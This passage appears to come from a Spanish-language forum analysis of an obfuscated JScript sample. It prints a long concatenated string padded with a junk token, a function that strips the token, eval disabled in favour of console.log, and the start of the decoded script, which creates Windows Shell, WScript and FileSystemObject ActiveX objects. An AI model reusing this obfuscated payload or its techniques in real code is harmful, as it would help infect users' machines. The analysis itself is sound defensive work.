'KAxegJjdOfAKA' + 'xegJjdOf+FKAx' + 'egJjdOft+i+fKAx' + 'egJjdOfmAKAxegJjdOf+mKAxegJjdOf&KAxegJjdOf+33&KA' + 'xe' + 'g' + 'JjdOf+KAxegJjdOf3:KAxegJjd' + 'Of' + '&KAxegJ' + 'jdOf4KAxe' + 'gJj' + 'dOfCKAxegJ' + 'jdOf&+KAxegJjdOf1' + 'AEKAxegJjdOf+KAxegJjdOf&KAxegJjdOfAKAx' + 'egJjdO' + 'f+1KAxegJjdOfBA+wKAxegJjd' + 'OfbsKAxegJjdOf&KAxegJjdOf' + 'AKAxe' + 'gJjdOf+KAxegJjdOf3KAxegJjdOf+1KAxegJjdOf+KAxe' + 'gJjdOftAiKAxe' + 'gJjdOf&KAxegJjdOf3KAxegJjdOf' + 'A' + 'KAxe' + 'gJj' + 'dOf1K' + 'AxegJjdOfAK' + 'AxegJjdOf+KAxegJjdOf&KAxegJjdOf4E' + 'KAxegJjdOf&AKAxegJjdOf3KAxeg' + 'JjdOf' + '1' + 'KAx' + 'egJjdOf+KAxegJjdOfoKA' + 'x' + 'e' + 'gJjdOffKAxegJjdOfAx' + 'KA' + 'xegJj' + 'dOf&KAxegJjdOfA+KAxegJjdO' + 'f31+KAxegJjdOfBdKAxegJjdOfuAKAxegJjdOf+KAxegJ' + 'jdOf' + 'jAKAxegJjdOfwfKAxegJjdOfAKAxegJjdOfYKAxegJjdOf+KAxegJjdOfAKAxegJ' + 'jdOfPKAx' + 'egJjdOfcKAxegJjdOf+kKAxegJjdOf+KAx' + 'egJjdOfAKAxegJjdOf+K' + 'AxegJjdOffdKAxe' + 'gJjdOf+KAxegJjdOfuKAx' + 'egJjd' + 'Of&KAxegJjdOfAK' + 'AxegJjdOf+KAxegJjd' + 'Of3' + 'KAxegJj' + 'dO' + 'f+KA' + 'xe' + 'gJjdOf9+KAxegJjdOfA&KAx' + 'egJjdOf33KAxegJjdOfAKAxegJjdOf+K' + 'AxegJjdOftAKAxegJjdOfi' + 'fKAxegJjd' + 'OfmKAxegJjdOf+KAxegJjdOfmKAxegJjdOf&KAxegJjdOf3+KAxegJjdOfFKAxegJjdOfbKAxegJjd' + 'OfqKAxegJjdOfA+KAxeg' + 'JjdOfqKAxegJjdOfmKAxegJjdOfAK' + 'AxegJjdOf+KAxegJjdOfjKAxegJjdOf+KAxegJjdOfdKAxegJjdOf+KAxegJjdOfbuKAxegJjdOf' + 'jKAxegJjdOfpoKAxegJjdOf+&KAxegJjdOf+KAxegJjdOf33KAxegJjdOf&3' + 'KAxegJjdOf:KAxegJjdOfAKAxegJjdOf&+KAxeg' + 'JjdOfAKAxegJjdOf4+C' + '&+KAxegJjdOf1' + 'KAx' + 'egJjdOfEKAxegJjdOf&AKAxegJjdOf1KAxe' + 'gJjdOf+KAxegJjd' + 'OfAKAxegJjdOf+KAxe' + 'gJjdOfB' + 'KAxegJjdOf+wKAxegJjdOfbKAxegJjd' + 'Of' + 's' + '&KAxegJjdOfAKAxegJjdOf3KAxegJjdOf1KAxegJjdO' + 'fAKAxegJjdOfIKAxegJjdOfUU+Q' + '&KAxegJjdOf' + '3KAxegJjdOf1KAxegJjdOf&KAxegJjdOf4AKAxegJjdOf+E&KAxegJjdOf3KAxegJjdOfAKAxegJjd' + 'Of1KAxegJjdOf+KAxegJjdOfAoKAxegJjdOff+KAxegJjdOfx&KAxegJj' + 'dOf31KAxegJjdOfBKAxegJjdOfdujwKAxegJjdOffKAxegJjdOf+KAxeg' + 'JjdOfY' + 'KAxegJjdOfAKAxegJjd' + 'OfPKAxegJjdOfAKAxegJjdOfcKAxegJjdOf+kKAxegJjdOffduKAxegJjdOf&AK' + 'AxegJjdO' + 'f3KAxegJjdOf9KAxe' + 'gJjdOfAKAxegJjdOf&KAxegJjdOfAKAxegJjdOf3+KAxeg' + 'JjdOf3NTKAxegJjdOfYKAxegJjdOf+KAxegJj' + 'dOfA+NKAxe' + 'gJjdOf+MKAxegJjdOf' + '&KAxegJjdOf+KAxegJjdOf' + '4AKAxegJjdOf+K' + 'AxegJjdOf3&KAxegJjd' + 'OfA3A' + 'KAxegJjdOfFKAxegJjdOf+YKAxe' + 'gJj' + 'dOfAN+AKAxegJjdOfMA' + 'KAxegJjdOfI' + 'U+UKAxegJjdOfQ+' + 'KAxegJjdOf&+KAxegJjdOfAKAxegJjdOf3K' + 'AxegJjdO' + 'f3AKAxegJjdOf' + '&3:&K' + 'AxegJjdOf4CA&KAxegJj' + 'dO' + 'f1KAxegJjdOf+KAxeg' + 'JjdOfEA+KAxegJj' + 'dO' + 'f&KAxegJjdOfA1BKAxeg' + 'JjdO' + 'fwbKAxegJjdOfsKAx' + 'egJ' + 'jdOf&KAxegJjdOfA+3KAxe' + 'g' + 'JjdOf+' + '1KAxegJjdOfTKAxegJjdOfAKAxegJjdOf+KAxegJjd' + 'Of' + 'uKAxegJjdOfAKAxegJjdOfs+fKAxegJjdOfbKAxegJjdOf+' + 'AKAxegJjdOf+KAxeg' + 'JjdOfn' + 'KAxeg' + 'JjdOfAKAxegJjdOf&KAxegJj' + 'dOf+3K' + 'AxegJjd' + 'Of+KAxegJjdOf1' + 'KAxegJjdOf&KAxegJjdOfA4KAxegJjdOfEKAxegJjdOfA' + 'KAxegJjdOf+&3KAxegJjdOfAKAxegJjdOf1KAxeg' + 'JjdO' + 'foAKAxegJjdOf+fKAxegJjdOfAxKAxegJjdOf+&31BAdKAxegJjdOfuKAxegJjdOf+KA' + 'xegJjdOfjAKAxegJjdOfwKAxegJjdOffYAKAxegJjdOf' + 'PKAxegJjdOfc+KAxegJjdOfAKAxegJjdO' + 'fkKAxegJjdOf+f+KAxegJjdOfAKAxegJ' + 'jdOfdAKAxegJjdOf+KAxeg' + 'JjdOfu&3KAxegJ' + 'jd' + 'Of+A+KAxegJ' + 'jdOf9KAxegJjd' + 'Of+' + 'KAxegJjdOf&KAxegJjdOfAKAxegJjdOf3' + 'KAxe' + 'gJjdOf3KAxegJj' + 'd' + 'OfBKAxegJjdOfE+KAxegJjdOfPA' + 'EKAxegJjdOfCKAxegJjd' + 'Of&K' + 'AxegJjdOfA3KAx' + 'egJjdOf+KAxegJjdOfAKAxegJjd' + 'Of+KAxegJjdOfFKAxegJjdOfA' + 'TKAxegJjdOf+KAxegJjdOfusKAxegJjdOf+AKAxegJjdOffKAxegJjdOf+KAxegJjdOfb' + 'KA' + 'xegJjdOfnKAxegJjdOf&KAxegJjdOf3KAx' + 'eg' + 'JjdOf3' + '&KAxeg' + 'JjdOfA+3KAxegJjdOfA:KAxe' + 'gJjdOf+KAxegJjdOfA&KAxegJjdOf+4KAxegJjdOf+K' + 'AxegJjdOfAKAxegJj' + 'dOfC' + 'KAxegJ' + 'jdOf+A&KAxegJjdOf+KAxegJjdO' + 'f1EKAxegJjdOf&KAxegJjdOfAKAxegJjdOf1KAxegJjdOf+B+KAxeg' + 'JjdOfAwKAxegJjdOf+KAxegJjdOfAKAxegJjdOf+bKA' + 'xegJjdOf+KAxegJjdOfs&KAxegJjdOf31q+A+KAxegJjdOfbKAxegJ' + 'jdOfAKAxegJjdOf+uiKAxegJjdOf' + '+' + 'KAxegJjdOf&KAx' + 'egJjdOf+KAxegJjdOfAKAxegJjdOf3KAxeg' + 'JjdOf1KAxegJjdO' + 'f&KA' + 'xegJjdOf+KAxegJjdO' + 'f4KA' + 'xegJjd' + 'OfA+E&KAxeg' + 'JjdOf' + 'AKAxegJjdOf+KAxegJjdOf3KAxegJjdO' + 'f1KAxegJjdOf' + '+KAxegJjd' + 'OfxKAxegJjdOf+KAxegJjdOftKAxegJjdOfAKAxe' + 'gJj' + 'dOf' + '+iKAx' + 'egJjdOf&KAxegJj' + 'dOf+KAxe' + 'gJjdOf3KAxegJjdOf+' + 'KAxegJjdOfFKAxegJj' + 'dOfTKAxegJjdOf+KAxegJjdOfAKAxegJjdOfqfKAxegJjdOfdKAxegJjdOfj+KAxegJ' + 'jdOfAKAxegJjdOfbmKAxegJj' + 'dOf+KAxegJjdOfG+KAxegJjdOfA' + 'p+K' + 'AxegJjdOfmeKAx' + 'eg' + 'JjdOff+KAxegJjdOfsKAxegJjdOf+KAxegJjdOftKAxegJj' + 'dOf+K' + 'Ax' + 'egJjdOf&KAxegJjdOf3KAxegJjdOf+KAxegJjdOf9&KA' + 'xegJjdOf3AK' + 'AxegJjdOf3+KAxegJjdOfA+KAxegJjdOfUKAxegJ' + 'jdOfAK' + 'A' + 'xegJjdOf+fnqAKAxegJjdOfmKAxegJjdOfAbKAxe' + 'gJjd' + 'Of+KAxegJ' + 'jdOfuKAxegJjdOf+KAxegJj' + 'dOffAK' + 'AxegJjdOftKAxegJjdOfAKAxegJjdOf&KAxegJjdOf' + 'A+K' + 'AxegJjdOf3KAxegJjdOfA+KAxegJjdOf3KAxegJjdOf+KAxegJjdO' + 'f&KAxegJjdOf3KAxegJjdOf:A&KAxegJ' + 'jdOf3KAxegJjdO' + 'f+CKAxegJjdOf&3KAxegJjdOf3+KAxegJ' + 'jdOfA&KAxegJjd' + 'Of' + '6AKAx' + 'egJ' + 'jdOfDKAxegJjdOf' + '&KAxegJjdOf+KA' + 'xegJ' + 'jdOf6KAxegJjdOfDAKAxegJjdOf+&AKAxe' + 'gJjdOf3KAxegJj' + 'd' + 'Of3KAxegJjdOf' + '&A3AKAxegJjdOfCKAxegJjdOf&3KAxegJjdOfA9&KAxegJjdOf3KAxegJjdOfA9NKAxegJ' + 'jdOfbKAxegJjdOf+' + 'KAxe' + 'gJ' + 'jdOfuKAx' + 'egJjdOfiKAxe' + 'gJjdOf&AKAxegJjdOf+3+FKAxegJjdOfAKAxegJjdOfs+KAxegJjdOfAbAKAxegJjdOfoKAxegJjdOfe+KAxegJjdOfAKAxegJjdOfpAKAxegJjdOfnKAxegJjdOf+&+K' + 'AxegJjdOf' + '3KAxegJjd' + 'Of' + 'A' + '9' + 'A+KAxe' + 'gJjdOf&KA' + 'x' + 'eg' + 'Jj' + 'dOf3KAxegJj' + 'dOf:KAxeg' + 'JjdOf&KAxegJjdOf+KAxegJjd' + 'Of3KAxegJ' + 'j' + 'dOfBAKAxegJjdOf&KAxegJjdOfA4:&KAxegJjdOf' + '4:KAxegJjdOfAKAxegJjdOf+KAxegJjdOf&+KAxegJjdOf4' + ':+&KAxegJjdOfA+' + 'KAxegJjdOf4:KAxegJjdOf&4K' + 'AxegJjdOf:&+' + 'KAxegJj' + 'dOf4KAxegJjdOf+:' + 'KAxegJjdOf&A3:KAxegJjdOfA+KAxegJjdOf&AK' + 'AxegJjdOf' + '+3KAxegJjdOfAC' + 'KAxegJjdOf+AKAx' + 'egJjdOf+&' + 'KAxegJjdOf+KAxegJjdOf4A+KAxegJjdO' + 'f:&KAxegJjdOfA+K' + 'Axe' + 'gJjdOf4+KAxegJjdOf:KAxe' + 'gJjdOf&4KAxegJjdOf+KAx' + 'egJjdOfAKAxegJjdOf:KAxegJjdOf&4:+' + '&KAxegJjdOf+8AKAxegJjdOf+DKA' + 'xegJjdOfA&KAxegJ' + 'jdOf41KAxegJjdOf&' + 'KAxegJjdOf3KAxegJj' + 'dOf:KAxegJjdOf&KAxegJjd' + 'Of3KA' + 'xegJjdOfAKAxegJjdOfCKAxeg' + 'JjdOf&KAxe' + 'gJj' + 'dOf+3KA' + 'xegJjdOf3AKAxegJjdOf+KAxe' + 'gJ' + 'jdOf&KAxegJ' + 'jdOf+KAxegJjdOf3KAxegJjdOfF' + 'KAxeg' + 'Jjd' + 'OfAKAxegJjdOf+KAxegJjdOffyKA' + 'xegJjdOffKAxegJj' + 'dOf&KAxeg' + 'JjdOf' + '+KAxe' + 'gJjd' + 'OfAKAxegJjdOf33K' + 'AxegJjdOf&AKAxegJjdOf+KAxegJjdOf4+C&KAxegJjdOfA+KAxegJjdOf1KAxegJjdOfEK' + 'AxegJjdOfAKAx' + 'e' + 'gJjdOf&KAxegJjdOf+KAxegJjdO' + 'f1KAxegJjdOfBKAxegJjdOf+KAxegJjdOfAKAxegJjdOfIUKAxegJjdOf+KA' + 'xegJ' + 'jdOfUKAxegJjdOfQKAxegJjdOf+&KAxegJjdOf3KAxegJj' + 'dOfA' + 'KA' + 'xegJjdOfF' + 'K' + 'AxegJjdOf+PKAxegJjdOfqKAxegJjdOffKAxegJjdOfo' + 'KAxegJjdOf+KAxegJjdOf&KAxegJjdOf3KAxegJjdOfAKAxegJjdOf9KAxegJjdOf&33AHFKAxegJjdO' + 'fA+K' + 'AxegJ' + 'jdOf' + 'UKAxegJjdOf+KAxegJjdOfA+KAxegJjdOf&KAxegJjdOf33+AKAxegJ' + 'jdOf&+KAxegJj' + 'dOf3KAxegJjdOfDA&KAxegJjdO' + 'fA+KAxegJjdOf3KAxegJjdOf1A' + 'KAxegJjdOf' + '&KAxegJjdOf' + '3KAxegJjdO' + 'f+KAxegJjdOf3+KAxegJjdOfAiKAxegJjdOfAK' + 'Axe' + 'g' + 'JjdOf+KAxegJjdOfu' + 'KAxeg' + 'JjdOfuKAxeg' + 'Jj' + 'dOf' + '+AKAxegJjdOfqKAxegJjdO' + 'f+KAx' + 'egJjdOfAKAxegJjdOf&KAxegJjdOf4KA' + 'xegJjdOfB&3AKAx' + 'egJjdOfG+KAxe' + 'gJjdOf&KAxegJj' + 'dOf3GKAxegJjdOf+eKAxegJjdOf+K' + 'AxegJjdOfAp+KAxegJjdOfA+vsKA' + 'xegJjdOfAKAxeg' + 'JjdOf+KAxegJjdOfvKAxegJjdOf+jKAxegJjdOfo+KA' + 'xegJ' + 'jdOfjKAxegJjdO' + 'f' + '+KAxegJjdOfu+AKAxegJjdOf+zKAxegJjdOfeKAxeg' + 'JjdOf' + 'AvAb' + 'ef&KAxegJjdOf3+KAxegJjdOfFKAxegJjdOf+KAxe' + 'gJjd' + 'OfA+KAx' + 'egJjdOfyKAxegJjdOf' + 'AzKA' + 'xegJjdOf{KAxegJjdOf&KAxegJjdOf3KAxegJjdOfG+' + 'KAx' + 'egJ' + 'jdOftKAxegJ' + 'j' + 'dOffAbKAxegJjdOf+KAxegJjdOf' + 'AKAxegJjdO' + 'f+KAxegJjdO' + 'fsKAxegJj' + 'dO' + 'fA+KAxegJ' + 'jdOfdKAxegJjdOf+AKAxegJjdO' + 'fiK' + 'AxegJj' + 'dOf+&+KAxeg' + 'JjdOf3KAxegJjdO' + 'fFKAxegJjdOfqKAxegJjdOfAKAxegJjdOf+KAxegJjdOfiqKAxe' + 'gJjdOf+&+KAxegJjdOfA3KAxegJjdOf3KAxegJjdOf+KAx' + 'egJjdO' + 'fAKAxegJjdOf+KAxegJjdOf&KAxegJj' + 'dOf+KAxegJjdOf3DKA' + 'xegJjdOf&KAxegJjdOf+' + 'AKAxegJjdOf3KAxegJjdOf+' + 'KAxegJjdOf1KAxegJjdOfgKAxegJjdOfbKAxegJjdOf+KAxegJjdOfm+KAxegJjdOftf&KAxegJjdOfA3+KAxegJjdOfA:AKAxegJjdOf&' + 'KAxegJjd' + 'Of+KAx' + 'egJjdOfA4C+KAxegJjdOf' + '&KAxegJjdOf+KAxegJjdOf31I+KAxegJjdOfUU+KAxegJjdOfQA&KAxe' + 'gJjdOf+KAxegJjdOf3+KAxegJjdOfAKAxegJjdOf+F+KAxegJjdOfAKAxegJjdOfTfoKAxegJjdOf+' + 'AKAxegJjdOfeKAxegJjdOf+AKAxegJjdOf&KAxegJjdO' + 'f3KAxegJjdOf9' + '&KAxegJjdOf3KAxegJjdOf:AKAxegJjdOf&+KAxegJjdOf4CKAxegJ' + 'jdOf&KAxegJjdOf+KAxegJjdOf3KAxegJjdOfA+1KAxegJjdOfjKAxegJ' + 'jdOfAK' + 'AxegJjdOfgA&KAxegJjdOf3+1+AKAxegJjd' + 'Of+KAxegJjdOf&KAxegJjdOf+KAx' + 'egJjdOf3AK' + 'AxegJjdOf9KAxegJjdOf+IUU+KAxegJjdOfQKAxegJjdOfAKAxeg' + 'JjdOf&KAxegJjdOf+KAxegJjdOf3KAxegJjdOf+A+KAxegJjdOfF+TKAxegJjdOfuKAxegJjdOfbKAxegJ' + 'jdOfuKAxegJjdOfAvKAxegJjdOft' + '&KAxegJjdOf+KAxegJjdOf31KAxegJjdOf+KAxegJjdO' + 'f&4KAxegJjdOf+KAxe' + 'gJjdOf' + 'A+KAxegJj' + 'dOf' + 'E&KAxegJjdOfAKAxeg' + 'JjdOf4KAxegJjdOf+KAxegJ' + 'jdOfAKAxeg' + 'JjdOf+KAxegJjd' + 'OfEKAxegJjdOf&+3KAxegJjdOfAKAxegJjdO' + 'f1KAxegJjdOfAKAxegJjdOf&KAxegJjdOf4KAxegJjdOf3KAxegJjdOf&4KAxegJjdOf1KAxegJjdOf&4+KAxegJjdOfAKAxegJjdOf1+&' + 'KAxegJjdOf' + '3AKAxegJjdOf:KAxegJjdOfA&KAxegJjdOf3KAxegJjdOfA1KAxegJjdOfA' + 'KAxegJjdOf&+' + 'KAxe' + 'gJjdOf8KAxegJjdOfC' + '&1E+KAxegJjdOfA&1BTKAxegJjdOfuAKAxegJjdOfs+K' + 'AxegJ' + 'jdOffKAxegJjdOf+KAxegJjdOfbKAxegJ' + 'jdOf+KAxegJjdOfn' + 'KAxegJjdOfAKAxegJjdOf+KA' + 'xegJj' + 'dOf' + '&KAxegJjdOf3KAxegJjdOfFPKAxegJjdOf+KAxegJjdOfAqK' + 'AxegJjdOff+KAxegJjdOfoKAxeg' + 'Jjd' + 'Of+AKAxegJjdOf&KAxegJjdOf+KAxegJjdOfAKAxegJjdOf3KAxegJj' + 'dO' + 'f' + '9KAxegJjdOf&KAxegJjdOf3KAxegJjdOf' + '+:KAxegJjdO' + 'f+KAxegJjdO' + 'fAKAxe' + 'g' + 'JjdOf&+4CKAxegJjdOf&KAxe' + 'g' + 'JjdOf3KAxegJjdOf1KAxegJjdOf+KAxegJjdO' + 'fTKAxegJjdOfuKAxegJjdOfsKAxegJjdOffKAxegJjdOf+' + 'bnKAxe' + 'gJjdOf&KAxegJjdOf+KAxegJjdOf3AKAxegJjdOfF' + 'A+UKAxegJjdOfzKAxegJ' + 'jdOfqKAxegJjdOffAKAxe' + 'gJjdOf&31KAxegJjdOf+&KAxegJjdOfA4+KAxegJjdOfE&KAxegJjdOf+31KAxegJj' + 'dOf&KAxegJjd' + 'Of42&KAxegJjd' + 'Of4CA&3AKAxegJjdOf+KAxegJjdOf1KAxegJjdOfTKAxegJjdOf+KAxegJjdOfAKAxegJjdOfusKAxegJjdOfA' + 'KAxegJjdOf+KAxegJjdOffK' + 'Axe' + 'gJjd' + 'OfbKAxeg' + 'JjdOfnKA' + 'xeg' + 'JjdOfA&3KAxegJjd' + 'Of+KAxegJ' + 'jdOfFAKAxegJ' + 'jdOfX+sKAxegJ' + 'jdOfjuKAxegJ' + 'jdOf+KAxegJjdOffKAxegJ' + 'jdOf&KA' + 'xegJ' + 'jd' + 'Of3KAxegJjdOf+KA' + 'xegJjdOf9IAUKAx' + 'egJ' + 'jd' + 'OfUKAxegJjdOfQK' + 'AxegJjdOf&KAx' + 'egJj' + 'dOfAKAxegJjdOf3KAxegJjdOf+AFKAxegJjdOf+KAxegJjdOfSfKAx' + 'egJjdOftqpKAxe' + 'gJjdOfoKAxegJjdOf+KAxegJjdOfAKA' + 'xeg' + 'JjdOftK' + 'AxegJjdOffKAx' + 'egJjdOfCAKAxegJj' + 'dOfpKA' + 'xegJjdOfA' + 'KAxegJj' + 'dOf' + 'eKAxegJjdOfzKAxegJjdOf+KAxegJjdOf&KAxegJjdOf3KAxegJjdOf:KAxegJjdOf&4KAxe' + 'gJjdOf+CKA' + 'xegJj' + 'dOf&AKAxegJjdOf3KAxegJjdOf1+&KAxegJjdO' + 'f+KAxegJjdOf1A+EA&KAxegJjdOf+KAxegJj' + 'dOfA1KAxegJjdOf+KAxegJj' + 'dOfAKAxegJjdOf+KAxegJjdOfB+TKAxegJjdOfuKAxegJjdO' + 'fsKAxegJjdOf' + 'fKAxegJjdOfbKAxeg' + 'JjdOfnKAx' + 'egJjdOf&A3FKAxegJj' + 'dOf+KAxegJjdOfQ+pAKAxegJjdOf+KAxe' + 'g' + 'JjdOftKAxegJjdOf+KAxegJjd' + 'OfAKAxegJjdOfjKAxegJjdOfuKAxe' + 'gJjdOf' + '+KA' + 'xegJjdOfj+KAxegJjdOfA+po+&KAxegJj' + 'dOfAKA' + 'xegJ' + 'jdOf+' + 'KAxegJjdOf' + '3KAxegJjdOf1KA' + 'xegJjdOf&KAxegJjdOf' + '4EKAxegJj' + 'dOf&KAxegJ' + 'jdOf31KAxegJjdOf&KAxegJjdOf4+KAxegJj' + 'dOfA1KAxegJjdOf&KAxegJjd' + 'OfAKAxegJjdOf+4KAxegJj' + 'dOf+KAxeg' + 'JjdOfAKAx' + 'egJjdOfC+KAxe' + 'gJjdOf&KAxegJjdOf3KAxegJjdOf1KAxegJjdOf+TKAxegJjdOfAKAxegJjdOfuKAxegJjdOf+AKAxeg' + 'J' + 'j' + 'dOf+KAxegJjdOfsKAxeg' + 'JjdOf+KAxegJjdOfAfbKAxegJjdOfnKAxegJjdOf&' + 'KAxegJjdOfA3+FKAxegJjdOf' + '+KAxegJjd' + 'OfTKAxegJjdOfb+wKAxeg' + 'JjdOf+fKAxegJjdOfU+KAxegJjdO' + 'fAKAxegJjdOfpAGj+KAxegJj' + 'dOfm' + 'KAx' + 'egJjdOf+KAxegJjdOfAKAxegJjd' + 'O' + 'f+KAxegJjdOffKAxegJj' + 'dOf&3KAxegJjdOf9KAxegJjdOfAKAxegJjdOfqKAxegJjdOfbuAKAxegJjdOfi&KAxegJjdOfA3+KAxegJj' + 'dOfDKAxegJjdOf+&31KAxegJjdOf&43KAxegJjd' + 'Of+&KAxeg' + 'Jj' + 'dOf3A:&KAxegJjdOf4KAxegJjdOfCKAxegJjdOf&1+AKAxegJjdO' + 'fEKAxegJjdOf&+KAxegJjdOf1BKAxegJjdOfATu+sKAxegJ' + 'jdOf+KAxegJjdOffKAxegJjdOfbKAxegJjdOf+KAxegJjdOfn&3KAxegJjdOfF' + 'DKAxegJjdO' + 'fAKAxegJ' + 'jdOf+KAxegJjdOfmpKAx' + 'egJjdOftKAxegJjdOfAKAxegJjdOffKAxegJjdOfA&3KAx' + 'egJjdOf9KAxegJj' + 'dOf&3K' + 'AxegJjdOf:+&KAxegJjdOf+KAxegJ' + 'jdOf4+' + 'KAxegJjdOfC+&KAxegJ' + 'jdOfA31ti' + 'KAx' + 'egJjdOf&A+3KAxegJjdOfFAKAxegJjdOfTAKAxegJjdOfiA+KAxeg' + 'JjdOffAmmKAxegJjdOfFKAxegJjd' + 'OfyfKAxegJjdOf' + 'dKAxegJjdO' + 'fvKAxegJjdOf+uKAxegJjdOf' + 'fAKAxegJjd' + 'Of&3KA' + 'xegJjdOf9q' + 'KAxegJjdOfbui&KAxegJj' + 'dOf3KAxegJjdOf+KAxegJjdOfD&+AKAxegJjdOf' + '3KAxegJjdOf1+KAxegJjdOfAKAxegJj' + 'dOf&KAxegJjdOfA3KAxegJjdOf3&33KAxegJjdOf+&KAxegJjd' + 'Of3+' + 'DKAxegJjdOf&KAxegJjdOf31+KAxegJjdOfAKAxe' + 'gJjdOf&3KAxegJjdOf3K' + 'AxegJjdOf+&33KAxegJjdOfAKAxegJjdOf&KAxegJjdOfAKAxegJjdOf3K' + 'AxegJjdOfAKAxegJjdOf+DAKAxegJ' + 'jdOf&KAxeg' + 'JjdOf+3' + 'A' + 'KAxegJjdOf1KAxegJjdOf+KAxegJjdO' + 'fAKAxegJjdOf&3KAxegJj' + 'dO' + 'f3KAxe' + 'gJjdOfpKAxegJjdOfqKAxegJjdOffKAxegJjd' + 'Of+Ao+AK' + 'AxegJjdOf+KAxegJjdOf&' + 'KAxegJjdOf3AKAxegJjdOf3KAxegJjdOfAKAxegJjdOf+&+3KAxeg' + 'JjdO' + 'fAKAxegJjdOf+KAxegJjdOfDKAxegJjdOf' + '&AKAxegJjdOf+K' + 'AxegJjdOf3AKA' + 'xegJjdOf1KAxegJ' + 'jdOf+KAxegJjdO' + 'f&4KAxegJjdOf2&KAxegJjdOf3KAxegJjdOf:&KAxegJjdOf4KAxegJjdOfAKAxegJjdOfCA&3KAxe' + 'gJjdOf1KAxegJjdOf&KA' + 'xegJjdOfAKAxegJ' + 'jdOf+KAxegJjdOf8E#KAxegJj' + 'dOf' + '*KAxegJjdOf*KAxegJjdOf<"KAxegJjdOf;KAxeg' + 'JjdOf KAxeg' + 'JjdOfIKAxegJjdOfGhKAxegJjdOfuKAxegJjdOfToKAxegJjdOfEKAxegJjdOfwXKAxegJjdOflKAx' + 'egJjdOfJBKAxegJjdOfQPK' + 'AxegJjdOfSKAxegJjdOf KAxegJjdOf=KAxegJj' + 'dOf KAxegJjdOf"KAxegJjdOf";KAxegJjdOf hKAxegJjdO' + 'fxKAxegJjdOfE' + 'KAxegJjdOfobKAxegJjd' + 'OfzKAxegJjdOfl' + 'KAxegJjdOfsRgNKAxegJjdOffcKAxegJjdOfdKAxegJjdO' + 'fXKAxegJjdOf KAxegJjdOf=KAxe' + 'g' + 'JjdOf KAxegJjdOfOKAxegJjdOfKMKAxegJjdOfwPHKAx' + 'egJjdOfjKAxegJjd' + 'Of' + 'JKAxegJjdOfQymtKAxegJjdOfdKA' + 'xegJjdOfVKAxegJjdOfXKAxegJjdOf.KAxegJ' + 'jdOfReKAxegJjdOfgKAxegJjdO' + 'fReKAxegJjdOfad("' + 'KAxegJjdOfHKAxegJjdOfKLKAxe' + 'gJjdOfM"+KA' + 'xegJjd' + 'OfdKAxeg' + 'JjdOfh' + 'KAxegJjdO' + 'fJRKAxegJjdOfNaKAxeg' + 'JjdOff' + 'KA' + 'xegJjdOfpLKAxegJjdOfszq' + 'KAxegJjdOfjKAxegJjdOfoigKAxegJjdOf(92KAxegJjdOf)KAxegJjdOf+"sKAxegJjdOfofKAxegJjdOftwKAxegJjdOfa' + 'KAxegJjdOf' + 'reKAxegJjdOf"KAxegJjdOf+KAxegJj' + 'dOfdhJRNKAxegJjdOf' + 'af' + 'KAxegJjdOfpLKA' + 'xegJjdOfszqjKA' + 'xegJjdOf' + 'oKAxegJjdOfig(KAxegJjdOf92KAxegJjdOf)KAxegJ' + 'jdOf+"KAxegJj' + 'dOfmiKAxegJjdO' + 'fcKAxegJjdOfrosKAxegJjdOfoKAxegJjdOffKAxegJjdOft"KAxegJjdOf+KAxegJjdOfdhKAxegJjdOfJRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsz' + 'qKAxegJjdOfjKAxegJjdOfo' + 'KAxegJjdOfig(KAxegJjdOf9KAxegJjdOf2)+KAxegJjdOf"KAxegJjdOfwindowsKAxegJjdOf K' + 'AxegJ' + 'jdO' + 'f' + 'nt"+KAxegJjdOfdKAxegJjdOfh' + 'KAxegJjdOfJ' + 'KAxegJjdOfRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsKAxegJjdOfzKAxegJj' + 'dOfqjoiKAxegJjdO' + 'fgKAxegJj' + 'dO' + 'f(9KAxegJjdOf2KA' + 'xegJjdOf)KAxegJjdOf+"cKAxe' + 'gJjd' + 'OfuKAxegJjdO' + 'frKAxeg' + 'JjdOfrKAxegJjdO' + 'fenKAxegJjd' + 'OftKA' + 'x' + 'egJjdOfverKA' + 'xegJjd' + 'OfsKAxegJjdO' + 'fioKAxegJjd' + 'OfnKAxegJjdOf"+KAxegJjdOfdKAxegJjdOfhKAxegJjdOfJKAxegJjdOfRKAxegJjdOfNa' + 'KAxegJjdOffKAxegJjdOfpKAxegJjdOfLKAxe' + 'gJjd' + 'OfszKAx' + 'egJjdOfqKAxegJjdOfj' + 'oKAxegJjdOfigKAxe' + 'gJjdOf(KAxegJjdOf9KAxe' + 'gJjdOf2KAxegJjdOf)KAxegJjdOf+KAxegJjdOf"KA' + 'xegJjdOfsKAxegJjdOfyKAxeg' + 'JjdOfsKAxegJjdOftKAxegJjdOfemK' + 'AxegJjdOfroot' + 'KAxegJjdOf"); OKAxegJjdOflKAxegJjdOf' + 'wKAxegJjdOfpKAxegJjdOfPLKAxegJ' + 'jdOfsKAxegJjdOfvRKAxegJj' + 'dOfDKAxegJjdOfhKAxegJjdOfBKKAxeg' + 'J' + 'jdO' + 'fQKAxegJjdOfEKAxegJjdOfVKAx' + 'egJjdO' + 'f K' + 'AxegJjdOf= KAxegJjdOfMKAxegJjdOfurKAxegJjdOfNKAx' + 'egJjdOfKQlKAxegJjdOfVKAxegJ' + 'jd' + 'Of' + 'S' + 'KAxegJjdOfcKAxegJj' + 'dOfmpLKAxegJjdOfDX' + 'KAx' + 'egJjdOfRe(hK' + 'AxegJjdOfxKAxegJjdOfE' + 'oKAxegJjdOfbKAxegJjd' + 'OfzKAxegJjdO' + 'flsRgNKAxe' + 'gJjdOffKAxegJjdOfcKAxegJjdOfdKAxegJjdOfX' + 'KAxe' + 'gJjdO' + 'f, KA' + 'xegJjdOf1);'
  3.  
  4. return KgJtXdpCLGQOuRMmYeV.replace(RegExp(vPsiWmlGbuYgxoeO, "g"), "");
  5. }
  6.  
  7. //var QoUEVpsCPaHJLBvKIf = eval(JIUFoiVePNXYTRaOyB("KAxegJjdOf")); impedimos la ejecucon de eval
  8. console.log(JIUFoiVePNXYTRaOyB("KAxegJjdOf")); //mostramos el resto
  9.  

Lo que nos devuelve

Código
  1. juEFqegXodwknWtlpOv = new ActiveXObject("sHell.aPPlicAtIon");
  2. OKMwPHjJQymtdVX = new ActiveXObject("wsCRipT.ShelL");
  3. PdoNEByUDLakcIiurJF = new ActiveXObject("ScrIpting.filEsYstemobJecT");
  4. function dhJRNafpLszqjoig(LNCoRYhWseMSKfj)
  5. {
